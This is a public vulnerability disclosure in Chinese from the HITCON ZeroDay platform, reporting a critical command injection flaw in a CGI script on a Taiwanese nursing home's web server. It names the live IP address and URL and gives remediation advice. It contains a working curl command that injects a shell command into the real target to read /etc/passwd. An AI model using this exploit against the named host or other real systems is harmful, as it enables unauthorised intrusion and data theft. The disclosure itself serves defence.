Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00621
- Vendor: 福仁護理之家
- Title: 福仁護理之家 RCE 遠端程式碼執行漏洞
- Introduction: CGI 存在的 命令注入
處理狀態
目前狀態
公開
Last Update : 2025/08/23
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/06/23 11:13:25 : 新提交 (由 Elvis 更新此狀態)
- 2025/06/26 23:26:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/30 15:27:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/30 15:27:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/30 15:27:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/23 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00621
- 通報者:summer78315 (Elvis)
- 風險:嚴重
- 類型:指令注入攻擊 (Command Injection)
參考資料
攻擊者可經由該漏洞執行任意系統指令,取得系統權限,同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
https://cwe.mitre.org/data/definitions/77.html
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
https://cwe.mitre.org/data/definitions/77.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://59.125.170.82:8080/login/t2.pl
敘述
漏洞點定位
在 t2.pl 中,後端使用類似下面的程式碼執行使用者輸入:
my $cmd = $param{"my_text"};
my $output = $cmd; # <- 未過濾直接執行
重現步驟
注入並讀取 /etc/passwd:
bash -c 'curl -G \
--data-urlencode "my_text=sed -e :a -e "N" -e "$!ba" -e "s/\n/;/g" /etc/passwd" \
http://59.125.170.82:8080/login/t2.pl \
| grep -Po '\''action="[^"]*xxx=\K[^"]+'\'' \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))" \
| tr ";" "\n"'
成功取得 /etc/passwd:
修補建議
移除所有 `…` 或 system() 直接執行使用者輸入的程式碼。
改用白名單機制,只允許特定指令或參數。
對所有輸入做嚴格 escape/encode。
Web 服務勿以 root 權限執行,採用最小權限原則。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。